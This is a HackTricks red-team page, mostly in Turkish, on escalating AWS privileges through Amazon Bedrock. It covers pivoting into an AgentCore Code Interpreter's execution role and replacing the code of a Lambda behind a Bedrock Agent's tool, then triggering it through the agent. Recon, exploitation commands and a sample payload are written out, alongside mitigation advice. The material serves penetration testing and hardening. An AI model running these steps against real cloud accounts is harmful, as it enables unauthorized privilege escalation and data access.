AWS - Bedrock PrivEsc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Amazon Bedrock AgentCore

bedrock-agentcore:StartCodeInterpreterSession + bedrock-agentcore:InvokeCodeInterpreter - Code Interpreter Execution-Role Pivot

AgentCore Code Interpreter yönetilen bir execution environment’tir. Custom Code Interpreters, code interpreter’ın AWS services’e erişmesi için izinler sağlayan bir executionRoleArn ile yapılandırılabilir.

Eğer düşük yetkili bir IAM principal, daha yetkili bir execution role ile yapılandırılmış bir Code Interpreter session’ını başlatıp + invoke edebiliyorsa, çağıran taraf etkili biçimde execution role’un permissions’larına pivot yapabilir (role scope’una bağlı olarak lateral movement / privilege escalation).

Note

Bu genellikle bir misconfiguration / excessive permissions sorunudur (interpreter execution role’a fazla geniş permissions vermek ve/veya geniş invoke erişimi vermek). AWS, execution role’ların, invoke etmeye izin verilen identity’lerle eşit veya daha az privilege’a sahip olmasını sağlayarak privilege escalation’dan kaçınılmasını açıkça önerir.

Önkoşullar (yaygın misconfiguration)

  • Aşırı yetkili bir execution role’a sahip bir custom code interpreter vardır (ör: hassas S3/Secrets/SSM erişimi veya IAM-admin benzeri capability’ler).
  • Bir user (developer/auditor/CI identity) şu permissions’a sahiptir:
  • session başlatma: bedrock-agentcore:StartCodeInterpreterSession
  • araçları invoke etme: bedrock-agentcore:InvokeCodeInterpreter
  • (Opsiyonel) User ayrıca interpreter oluşturabilir: bedrock-agentcore:CreateCodeInterpreter (org guardrail’lerine bağlı olarak, bir execution role ile yapılandırılmış yeni bir interpreter oluşturmasına izin verir).

Recon (custom interpreter’ları ve execution role kullanımını belirle)

Interpreter’ları (control-plane) listele ve configuration’larını incele:

aws bedrock-agentcore-control list-code-interpreters
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>

create-code-interpreter komutu, interpreter’ın hangi AWS permissions’a sahip olacağını tanımlayan --execution-role-arn seçeneğini destekler.

Adım 1 - Bir session başlatın (bu bir sessionId döndürür, interaktif bir shell değil)

SESSION_ID=$(
aws bedrock-agentcore start-code-interpreter-session \
--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
--name "arte-oussama" \
--query sessionId \
--output text
)

echo "SessionId: $SESSION_ID"

Adım 2 - code execution çağırın (Boto3 veya signed HTTPS)

start-code-interpreter-session ile interaktif bir python shell yoktur. Execution, InvokeCodeInterpreter üzerinden gerçekleşir.

Seçenek A - Boto3 örneği (Python çalıştır + kimliği doğrula):

import boto3

client = boto3.client("bedrock-agentcore", region_name="<REGION>")

# Execute python inside the Code Interpreter session
resp = client.invoke_code_interpreter(
codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
sessionId="<SESSION_ID>",
name="executeCode",
arguments={
"language": "python",
"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
}
)

# Response is streamed; print events for visibility
for event in resp.get("stream", []):
print(event)

Eğer interpreter bir execution role ile yapılandırılmışsa, sts:GetCallerIdentity() çıktısı bu role’ün kimliğini yansıtmalıdır (düşük yetkili caller’ı değil), pivot’u göstererek.

Option B - Signed HTTPS call (awscurl):

awscurl -X POST \
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
--service bedrock-agentcore \
--region <Region> \
-d '{
"name": "executeCode",
"arguments": {
"language": "python",
"code": "print(\"Hello from AgentCore\")"
}
}'

Etki

  • Lateral movement interpreter execution role’un sahip olduğu herhangi bir AWS erişimi içine.
  • Privilege escalation eğer interpreter execution role, çağırandan daha yetkiliyse.
  • CloudTrail data events interpreter çağrıları için etkin değilse daha zor tespit edilir (invocation’lar varsayılan olarak loglanmayabilir, yapılandırmaya bağlı olarak).

Mitigations / Hardening

  • interpreter executionRoleArn üzerinde least privilege uygula (bunu Lambda execution roles / CI roles gibi değerlendir).
  • Kimlerin invoke edebileceğini (bedrock-agentcore:InvokeCodeInterpreter) ve kimlerin session başlatabileceğini kısıtla.
  • InvokeCodeInterpreter için, onaylı agent runtime roles hariç deny etmek üzere SCPs kullan (org-level enforcement gerekli olabilir).
  • Uygun olduğunda AgentCore için uygun CloudTrail data events etkinleştir; beklenmeyen invocation’lar ve session creation için alert üret.

Amazon Bedrock Agents

lambda:UpdateFunctionCode, bedrock:InvokeAgent - Lambda Üzerinden Agent Tool Hijacking

Bedrock Agents, Lambda-backed action groups’ları tool olarak kullanabilir (external execution). Bir principal, bir agent tarafından kullanılan bir Lambda function’un code’unu değiştirebiliyorsa ve ardından agent’i invoke edebiliyorsa, Lambda execution role altında attacker-controlled code çalıştırabilir.

Note

Bu bir cross-service trust abuse’dır (Bedrock → Lambda), vulnerability değil. Attacker Lambda’yı doğrudan invoke edemeyebilir, ancak agent aracılığıyla yine de tetikleyebilir.

Önkoşullar (yaygın misconfiguration)

  • Bir Bedrock Agent, Lambda function ile desteklenen bir action group’a sahiptir
  • Attacker’ın sahip olduğu:
  • lambda:UpdateFunctionCode
  • bedrock:InvokeAgent
  • Lambda execution role, attacker’dan daha geniş permissions’a sahiptir
  • Attacker, agent’in kullandığı Lambda’yı tespit edebilir

Recon

Agent action groups’u enumerate et:

aws bedrock-agent list-agents
aws bedrock-agent get-agent --agent-id <AGENT_ID>
aws bedrock-agent list-agent-action-groups --agent-id <AGENT_ID> --agent-version DRAFT

Lambda’yı inceleyin:

aws lambda get-function --function-name <FUNCTION_NAME>

Exploitation

Lambda code’unu değiştirin:

zip payload.zip lambda_function.py

aws lambda update-function-code \
--function-name <FUNCTION_NAME> \
--zip-file fileb://payload.zip

Örnek payload:

import boto3

def lambda_handler(event, context):
return boto3.client("sts").get_caller_identity()

Agent üzerinden tetikle:

aws bedrock-agent-runtime invoke-agent \
--agent-id <AGENT_ID> \
--agent-alias-id <ALIAS_ID> \
--session-id test \
--input-text "trigger tool"

Impact

  • Privilege escalation into Lambda execution role
  • Data exfiltration from AWS services
  • Cross-service abuse via trusted agent execution

Mitigations

  • Restrict lambda:UpdateFunctionCode
  • Use least-privilege Lambda roles
  • Monitor Lambda code changes
  • Audit Bedrock agent tool usage

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin